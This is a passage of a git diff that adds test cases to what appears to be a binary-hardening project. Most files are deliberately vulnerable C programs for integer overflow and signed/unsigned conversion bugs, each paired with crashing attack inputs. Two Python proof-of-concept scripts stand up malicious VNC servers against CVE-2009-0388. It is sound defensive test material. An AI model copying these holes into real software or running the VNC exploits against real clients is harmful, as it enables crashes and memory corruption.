$(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> UVA_C1_and_C4.conf + +UVA_C1_and_C4.run: UVA_C1_and_C4 + ../../../scripts/test.pl $(TESTFLAGS) UVA_C1_and_C4.ncexe + +clean: + rm -f CWE_190_Example_1_bad.ncexe CWE_190_Example_2_bad.ncexe modular_bug_finding_example_1.ncexe modular_bug_finding_example_2.ncexe UVA_C1_and_C4.ncexe + rm -f CWE_190_Example_1_bad CWE_190_Example_2_bad modular_bug_finding_example_1 modular_bug_finding_example_2 UVA_C1_and_C4 + rm -f summary.csv logfail.txt logfile.txt CWE_190_Example_1_bad.asm CWE_190_Example_1_bad.idb CWE_190_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_190_Example_2_bad.asm CWE_190_Example_2_bad.idb CWE_190_Example_2_bad.ncexe* stratafier.o.exe *.conf modular_bug_finding_example_1.asm modular_bug_finding_example_1.idb modular_bug_finding_example_1.ncexe* stratafier.o.exe *.conf modular_bug_finding_example_2.asm modular_bug_finding_example_2.idb modular_bug_finding_example_2.ncexe* stratafier.o.exe *.conf UVA_C1_and_C4.asm UVA_C1_and_C4.idb UVA_C1_and_C4.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: CWE_190_Example_1_bad.ncexe CWE_190_Example_2_bad.ncexe modular_bug_finding_example_1.ncexe modular_bug_finding_example_2.ncexe UVA_C1_and_C4.ncexe + +analyze: targets CWE_190_Example_1_bad CWE_190_Example_2_bad modular_bug_finding_example_1 modular_bug_finding_example_2 UVA_C1_and_C4 + +runall: CWE_190_Example_1_bad.run CWE_190_Example_2_bad.run modular_bug_finding_example_1.run modular_bug_finding_example_2.run UVA_C1_and_C4.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c b/examples/integerbugs/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c new file mode 100644 index 0000000000000000000000000000000000000000..36d45215826b2db6892f2286e2471a1eec330a58 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c @@ -0,0 +1,46 @@ +/*This code came from UVA it has both a integer wrap in the malloc +The scanf may index out of bounds? +It also has a resource drain due to the malloc? + +This routine is doing a malloc of a negative number, but +this gets typecasted to an unsigned, which gives you +a very large number. On some machines, this will still +succeed if there is enough memory. - DAH + +@GOOD_ARGS 4 <Example_UVA_good.txt +@BAD_ARGS -4 <Example_UVA_good.txt + @ATTACK_SUCCEEDED_CODE 139 +@ATTACK_SUCCEEDED_OUTPUT_CONTAINS malloc = 4294967280 + */ + +#include <stdlib.h> +#include <stdio.h> +#ifdef ASSERT + #include <assert.h> +#endif + +int main(int argc, char *argv[]) { + int cnt, idx, *elems; + + cnt = atoi(argv[1]); +printf(" malloc = %u\n",sizeof(int) * cnt); + elems = malloc(sizeof(int) * cnt); + +#ifdef ASSERT +assert( (sizeof(int) * cnt)>0 ); +#endif + + for(idx = 0; idx < cnt; ++idx) { + scanf("%d\n", elems + idx); + +#ifdef ASSERT +printf(" last address of mem alloced %x \n",&elems[cnt-1]); +printf(" address just written to %x \n",(elems + idx)); +assert(idx < (cnt-1)); +#endif + + } + + return 0; +} + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/bad.dat b/examples/integerbugs/C1_Number_Handling/CWE_190/bad.dat new file mode 100644 index 0000000000000000000000000000000000000000..679eda838fadfd7020794f59987cfe487a8a93e5 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/bad.dat @@ -0,0 +1 @@ +0x40000000 0x40000000 diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/data.txt b/examples/integerbugs/C1_Number_Handling/CWE_190/data.txt new file mode 100644 index 0000000000000000000000000000000000000000..32910bfa7364a529647f024fb72791525c976f56 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/data.txt @@ -0,0 +1,7 @@ +1010101010 +1010101010 +1010101010 +1010101010 +1010101010 +1010101010 +1010101010 diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c b/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c new file mode 100644 index 0000000000000000000000000000000000000000..a267478516fda3d3e92ecfc8658214089e5ffe52 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c @@ -0,0 +1,65 @@ +/* +"in the case of function binary_search applied to low and high both equal to +(0x40000000), the computation low + high will evaluate to INT_MIN instead of +(INT_MAX+1)/2." I'd like a test that reads the contents of a file into an array +and calls a faulty binary_search on the array. + +BJM +This code has more problems then the integer wrap. Val is going to get +set to some random data in memory depending on what values are passed in. + +@BAD_ARGS <bad.dat +@ATTACK_SUCCEEDED_OUTPUT_CONTAINS -1073741824 +*/ +#include <stdio.h> +#include <stdlib.h> + +int binary_search(int* arr, int low, int high, int key) +{ + printf("low = %i high = %i mid = %i \n",low,high,( (low + high) / 2)); + while (low <= high) + { + // Find middle value + int mid = (low + high) / 2; + int val = arr[mid]; + printf("value %i \n",val); + low++; + // Refine range + } +} +int main(void) +{ + int n1 = 0; + int n2 = 0; +int x = 0x40000000; + fscanf(stdin,"%x",&n1); + fscanf(stdin,"%x",&n2); + +printf("%d %d %d\n", n1, n2, x); + + FILE *f ; + if(f= fopen("data.txt", "rb")){ + + fseek(f, 0, SEEK_END); + long nbytes = ftell(f); + fseek(f, 0, SEEK_SET); + + printf("File size = %ld malloc\n",nbytes); + int *bytes = malloc(nbytes+1); + fread(bytes, 1,nbytes, f); + fclose(f); + + int i; + printf("File buffer dump\n"); + for(i = 0;i < nbytes;++i) + printf("%c", ((char *)bytes)[i]); + +// binary_search(bytes, 0x40000000, 0x40000000, 32); + binary_search(bytes, n1, n2, 32); + + free(bytes); // free allocated memory + }else{ + printf("file open failed \n"); + } +} + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c b/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c new file mode 100644 index 0000000000000000000000000000000000000000..7ec5ab8e5c4403fdd63b0a52ff048247b12ff80c --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c @@ -0,0 +1,66 @@ +/* +there's another classic error in many implementations of itoa: +"applied to n equal to INT_MIN (0x80000000), the negation -n will evaluate to +INT_MIN instead of INT_MAX+1." Again, please give us an example with the buggy +itoa; in this case it can just call it on an integer passed on the command +line. (This example may have a lower priority; I'm not clear what CWE class it +belongs to, but "The case of itoa is compelling: the ?rst edition of The C +Programming Language in 1978 [34] contained the integer ove?ow problem just +mentioned; the problem was noted in the second edition in 1988 (and its +solution left in exercise), but many currently available implementations, such +as the one from project itoa on sourceforge.net, still suffer from the same +problem.") + +@BAD_ARGS -2147483648 +@ATTACK_SUCCEEDED_OUTPUT_NOT_CONTAINS -2147483648 + bjm for this string uncoment the printf("n should be + = %i\n",n); + ATTACK_SUCCEEDED_OUTPUT_CONTAINS n should be + = -2147483648 +*/ + +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +void my_reverse(char s[]) { + int c, i, j; + for ( i = 0, j = strlen(s)-1; i < j; i++, j--) { + c = s[i]; + s[i] = s[j]; + s[j] = c; + } +} + +void my_itoa(int n, char* buf) +{ +char *save =buf; + // Handle negative + if (n < 0) + { + *buf++ = '-'; + // printf("n = %i\n",n); + n = -n; + // printf("n should be + = %i\n",n); + // Output digits + do{ + *buf++ = (n % 10) + '0'; + }while (n /= 10); + *buf = '\0'; + *save++; + my_reverse(save); + }else { + // Output digits + do{ + *buf++ = (n % 10) + '0'; + }while (n /= 10); + *buf = '\0'; + my_reverse(save); + } +} +int main(int argc, char **argv) +{ + int n1 = atoi(argv[1]); + char num[20]; + my_itoa(n1, num); + printf("string = %s\n",num); + exit(0); +} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx b/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx new file mode 100644 index 0000000000000000000000000000000000000000..c9fc7d95934eb13f7d50b2a0995d982d7b0eda19 Binary files /dev/null and b/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz.REMOVED.git-id new file mode 100644 index 0000000000000000000000000000000000000000..173ae7be384ddc5aaa929db7cc7fdfbd9891db9a --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz.REMOVED.git-id @@ -0,0 +1 @@ +2f7250ff9c92fe4a218a59cd1ef0149264472811 \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..f1e5ce96a44c02f9af176a59340340a14867afab --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c @@ -0,0 +1,92 @@ +/* +Unexpected Sign Extension + +Description Summary +The software performs an operation on a number that causes it to be sign extended +when it is transformed into a larger data type. When the original number is +negative, this can produce unexpected values that lead to resultant weaknesses. + + +Common Consequences +Scope +Integrity +Confidentiality +Availability + +Effect +When an unexpected sign extension occurs in code that operates directly on memory +buffers, such as a size value or a memory index, then it could cause the program +to write or read outside the boundaries of the intended buffer. If the numeric +value is associated with an application-level resource, such as a quantity or +price for a product in an e-commerce site, then the sign extension could produce +a value that is much higher (or lower) than the application's allowable range. + + +Example 1 + +The following code reads a maximum size and performs a sanity check on that size. +It then performs a strncpy, assuming it will not exceed the boundaries of the +array. While the use of "short s" is forced in this particular example, short +int's are frequently used within real-world code, such as code that processes +structured data. +(Bad Code)Example Language: C + + - Crashes on strncpy(?,?,-1) +@BAD_ARGS xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +@ATTACK_SUCCEEDED_CODE 139 + + */ + +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#ifdef ASSERT + #include <assert.h> +#endif + + +int GetUntrustedInt () { + return(0x0000FFFF); +} + + +void main (int argc, char **argv) { + char path[256]; + char *input; + int i; + short s; + unsigned int sz; + + + i = GetUntrustedInt(); + s = i; + /* s is -1 so it passes the safety check - CWE-697 */ +// BJM no assert we don't want to catch this or we +// will never get to the CVE we are looking at + if (s > 256) { + exit(3); + } + + /* s is sign-extended and saved in sz */ + sz = s; +//BJM CWE 194 sign-extended + + /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */ + printf("i=%d, s=%d, sz=%u\n", i, s, sz); + + // input = GetUserInput("Enter pathname:"); + input = argv[1]; + + /* strncpy interprets s as unsigned int, so it's treated as MAX_INT + (CWE-195), enabling buffer overflow (CWE-119) */ +#ifdef ASSERT +//printf("s = %i sizeof input = %i\n",s,sizeof(input)); +assert(s>0); +assert(s <= sizeof(path)); +#endif + strncpy(path, input, s); + path[255] = '\0'; /* don't want CWE-170 */ + printf("Path is: %s\n", path); + exit(0); +} + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_194/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_194/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..9a308ee93216661871ac9c708dbf49d5a96549e7 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_194/Makefile @@ -0,0 +1,33 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../scripts/test.pl $(TESTFLAGS) . + +CWE_194_Example_1_bad.ncexe: CWE_194_Example_1_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_194_Example_1_bad.conf + +CWE_194_Example_1_bad: CWE_194_Example_1_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_194_Example_1_bad.ps_analyze.log + cp CWE_194_Example_1_bad.conf CWE_194_Example_1_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_194_Example_1_bad.conf + +CWE_194_Example_1_bad.run: CWE_194_Example_1_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_194_Example_1_bad.ncexe + +clean: + rm -f CWE_194_Example_1_bad.ncexe + rm -f CWE_194_Example_1_bad + rm -f summary.csv logfail.txt logfile.txt CWE_194_Example_1_bad.asm CWE_194_Example_1_bad.idb CWE_194_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: CWE_194_Example_1_bad.ncexe + +analyze: targets CWE_194_Example_1_bad + +runall: CWE_194_Example_1_bad.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py new file mode 100644 index 0000000000000000000000000000000000000000..77d2e0ba5115a3378d166f22169b0be0aea626a1 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python + +#digital.desi@in.com + +# Modified Andres Lopez Luksenberg's exploit for Authentication Failure scenario in TightVNC. BID 33569 CVE-2009-0388 + +import socket + +serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +serversocket.bind(('', 5900)) +serversocket.listen(1) + +while True: + clientsocket, clientaddres = serversocket.accept() + + data = 'RFB 003.008\n' + clientsocket.sendall(data) + + data_cli = clientsocket.recv(1024) + print data_cli + + data = '\x02\x02\x10' + clientsocket.sendall(data) + + data_cli = clientsocket.recv(1024) + + data = '\x00'*4 + clientsocket.sendall(data) + + data = ('\x00'*3)+'\x01' + clientsocket.sendall(data) + + data = ('\x00'*3)+'\x02STDVVNCAUTH_' + clientsocket.sendall(data) + + data_cli = clientsocket.recv(1024) + + data = ('\x01'*16) + clientsocket.sendall(data) + + data_cli = clientsocket.recv(1024) + + data = '\x00\x00\x00\x01' + clientsocket.sendall(data) + + data = '\xf0\xff\xff\xff' + clientsocket.sendall(data) + + data = 'A'*10000 + clientsocket.sendall(data) + +clientsocket.close() +serversocket.close() + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py new file mode 100644 index 0000000000000000000000000000000000000000..5b2d70a33cf9bbf46ef1aa1f47440ed026b0d273 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python +# POC: Multiple VNC Clients Multiple Integer Overflow Vulnerabilities(UltraVNC and TightVNC), BID 33568 +#Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/) +# +import socket + +serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +serversocket.bind(('', 5900)) +serversocket.listen(1) + +while True: + print "Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/)" + + clientsocket, clientaddres = serversocket.accept() + + data = 'RFB 003.003\n' + clientsocket.sendall(data) + + data_cli = clientsocket.recv(1024) + print data_cli + + data = '\x00' + clientsocket.sendall(data) + + data = '\x00\x00\x00\x75' + clientsocket.sendall(data) + data = '\x00' * int(0xffffff) + + clientsocket.sendall(data) + +clientsocket.close() +serversocket.close() \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx new file mode 100644 index 0000000000000000000000000000000000000000..a16861d2c3d22e5b92c1341f49c8a18b7c1bf679 Binary files /dev/null and b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip.REMOVED.git-id new file mode 100644 index 0000000000000000000000000000000000000000..f8222876021561f017ea1232cdb004a31435325f --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip.REMOVED.git-id @@ -0,0 +1 @@ +2d642d258c45300adb1f9b26f44d926b6b1574ea \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip.REMOVED.git-id new file mode 100644 index 0000000000000000000000000000000000000000..37510e51d98ef461ae1f78a6c57caea976969ac8 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip.REMOVED.git-id @@ -0,0 +1 @@ +c24dc209f05c71667a8e90801ef89abacc263fa9 \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz.REMOVED.git-id new file mode 100644 index 0000000000000000000000000000000000000000..b37c583633b97c4f473781f9c010e0d31e0a8470 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz.REMOVED.git-id @@ -0,0 +1 @@ +be5de46e050a3c9d6f8c5decea05d6025b40263d \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..65b7fe16b1c72113200b6f8da1ddbe4afb215a43 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c @@ -0,0 +1,50 @@ +/* +Signed to Unsigned Conversion Error + +Description Summary +A signed-to-unsigned conversion error takes place when a signed primitive is used +as an unsigned value, usually as a size variable. + +Extended Description +It is dangerous to rely on implicit casts between signed and unsigned numbers because +the result can take on an unexpected value and violate assumptions made by the program. + +Scope Effect +Availability Conversion between signed and unsigned values can lead to a variety of +errors, but from a security standpoint is most commonly associated with integer +overflow and buffer overflow vulnerabilities. + + +Example 1 +In this example the variable amount can hold a negative value when it is returned. +Because the function is declared to return an unsigned int, amount will be implicitly +converted to unsigned. +(Bad Code)Example Language: C + +@BAD_ARGS -1 +@GOOD_ARGS 1 +@ATTACK_SUCCEEDED_CODE 1 + +*/ +#include <stdlib.h> + +unsigned int readdata (int n) { +int amount = n; +return amount; +} + + +int main(int argc, char **argv) +{ + if (argc < 2) exit(2); + int n = atoi(argv[1]); + if (readdata(n) > 0 && n < 0) exit(1); + exit(0); +} + +/* +If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers. +*/ + + + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..64bc117cb01999462c4aee83bcc522ad94d5ce51 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c @@ -0,0 +1,53 @@ +/* +Signed to Unsigned Conversion Error + +Description Summary +A signed-to-unsigned conversion error takes place when a signed primitive is used +as an unsigned value, usually as a size variable. + +Extended Description +It is dangerous to rely on implicit casts between signed and unsigned numbers because +the result can take on an unexpected value and violate assumptions made by the program. + +Scope Effect +Availability Conversion between signed and unsigned values can lead to a variety of +errors, but from a security standpoint is most commonly associated with integer +overflow and buffer overflow vulnerabilities. + +Example 2 +In this example, depending on the return value of accecssmainframe(), the variable +amount can hold a negative value when it is returned. Because the function is declared +to return an unsigned value, amount will be implicitly cast to an unsigned number. +(Bad Code)Example Language: C + +@BAD_ARGS +@ATTACK_SUCCEEDED_CODE 1 +*/ + +#include <stdlib.h> + +int accessmainframe() +{ + return -1; +} + +unsigned int readdata () { +int amount = 0; +amount = accessmainframe(); +return amount; +} + + +int main(int argc, char **argv) +{ + unsigned int n = readdata(); + if (n > 1000) exit(1); + exit(0); +} + +/* +If the return value of accessmainframe() is -1, then the return value of readdata() +will be 4,294,967,295 on a system that uses 32-bit integers. +*/ + + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..798ea5baec54bbd58099560eac8c57fcdc2557fc --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c @@ -0,0 +1,84 @@ +/* +Signed to Unsigned Conversion Error + +Description Summary +A signed-to-unsigned conversion error takes place when a signed primitive is used +as an unsigned value, usually as a size variable. + +Extended Description +It is dangerous to rely on implicit casts between signed and unsigned numbers because +the result can take on an unexpected value and violate assumptions made by the program. + +Scope Effect +Availability Conversion between signed and unsigned values can lead to a variety of +errors, but from a security standpoint is most commonly associated with integer +overflow and buffer overflow vulnerabilities. + +Example 3 +The following code is intended to read an incoming packet from a socket and extract +one or more headers. +(Bad Code)Example Language: C + +@BAD_ARGS -1 +@GOOD_ARGS 100 +@ATTACK_SUCCEEDED_CODE 139 + +*/ +#include <stdlib.h> +#include <stdio.h> +#include <string.h> +#include <memory.h> + + +/* Stupid stubs to pretend to do network trafic */ +struct DataPacket { + int headers; +}; +typedef char PacketHeader; +int AcceptSocketConnection() {} +void ReadPacket(struct DataPacket* packet, int sock) { packet->headers = -3;} +void ParsePacketHeaders(struct DataPacket* packet, PacketHeader* header) { + char *msg = "this is a long string that should crash the program"; + printf("%s\n", msg); + strcpy(header, msg); + printf("%s\n", header); +} + + +int main(int argc, char **argv) +{ + struct DataPacket *packet; + int numHeaders; + PacketHeader *headers; + + if (argc < 2) exit(2); + + int sock=AcceptSocketConnection(); + ReadPacket(packet, sock); + packet->headers = atoi(argv[1]); + numHeaders =packet->headers; + + if (numHeaders > 100) { + exit(2); /* too many headers! */ + } + printf("%d\n", numHeaders); + printf("%d\n", sizeof(PacketHeader)); + headers = malloc(numHeaders * sizeof(PacketHeader)); + ParsePacketHeaders(packet, headers); + exit(0); +} + +/* +The code performs a check to make sure that the packet does not contain too many +headers. However, numHeaders is defined as a signed int, so it could be negative. +If the incoming packet specifies a value such as -3, then the malloc calculation +will generate a negative number (say, -300 if each header can be a maximum of 100 +bytes). When this result is provided to malloc(), it is first converted to a size_t +type. This conversion then produces a large value such as 4294966996, which may +cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). +With the appropriate negative numbers, an attacker could trick malloc() into using +a very small positive number, which then allocates a buffer that is much smaller +than expected, potentially leading to a buffer overflow. + +*/ + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..d2736c50091a16ff78c3ea37fc44e12630e1578b --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c @@ -0,0 +1,73 @@ +/* +Signed to Unsigned Conversion Error + +Description Summary +A signed-to-unsigned conversion error takes place when a signed primitive is used +as an unsigned value, usually as a size variable. + +Extended Description +It is dangerous to rely on implicit casts between signed and unsigned numbers because +the result can take on an unexpected value and violate assumptions made by the program. + +Scope Effect +Availability Conversion between signed and unsigned values can lead to a variety of +errors, but from a security standpoint is most commonly associated with integer +overflow and buffer overflow vulnerabilities. + +Example 4 +This example processes user input comprised of a series of variable-length structures. +The first 2 bytes of input dictate the size of the structure to be processed. +(Bad Code)Example Language: C + +@BAD_ARGS <example4_bad.dat +@GOOD_ARGS <example4_good.dat +@ATTACK_SUCCEEDED_CODE 139 + +*/ + +#include <stdlib.h> +#include <memory.h> +#include <stdio.h> + +void process(char* buf) {} + +char* processNext(char* strm) { + char buf[512]; + short len = *(short*) strm; + strm += sizeof(len); + if (len <= 512) { + memcpy(buf, strm, len); + process(buf); + return strm + len; + } + else { + return 0; + } +} + +int main(int argc, char **argv) +{ + char buf[512]; + int n = 0; + while ((buf[n++] = getchar()) != EOF) {} +printf("A\n"); + + processNext(buf); +printf("A\n"); + exit(0); +} + + +/* +The programmer has set an upper bound on the structure size: if it is larger +than 512, the input will not be processed. The problem is that len is a signed +short, so the check against the maximum structure length is done with signed values, +but len is converted to an unsigned integer for the call to memcpy() and the negative +bit will be extended to result in a huge value for the unsigned integer. +If len is negative, then it will appear that the structure has an appropriate size +(the if branch will be taken), but the amount of memory copied by memcpy() will +be quite large, and the attacker will be able to overflow the stack with data +in strm. + +*/ + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_195/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..7a92060a9bf335f932aa26a8ac2189f6dd3bb5e2 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/Makefile @@ -0,0 +1,71 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../scripts/test.pl $(TESTFLAGS) . + +CWE_195_Example_1_bad.ncexe: CWE_195_Example_1_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_1_bad.conf + +CWE_195_Example_1_bad: CWE_195_Example_1_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_1_bad.ps_analyze.log + cp CWE_195_Example_1_bad.conf CWE_195_Example_1_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_1_bad.conf + +CWE_195_Example_1_bad.run: CWE_195_Example_1_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_1_bad.ncexe + +CWE_195_Example_2_bad.ncexe: CWE_195_Example_2_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_2_bad.conf + +CWE_195_Example_2_bad: CWE_195_Example_2_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_2_bad.ps_analyze.log + cp CWE_195_Example_2_bad.conf CWE_195_Example_2_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_2_bad.conf + +CWE_195_Example_2_bad.run: CWE_195_Example_2_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_2_bad.ncexe + +CWE_195_Example_3_bad.ncexe: CWE_195_Example_3_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_3_bad.conf + +CWE_195_Example_3_bad: CWE_195_Example_3_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_3_bad.ps_analyze.log + cp CWE_195_Example_3_bad.conf CWE_195_Example_3_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_3_bad.conf + 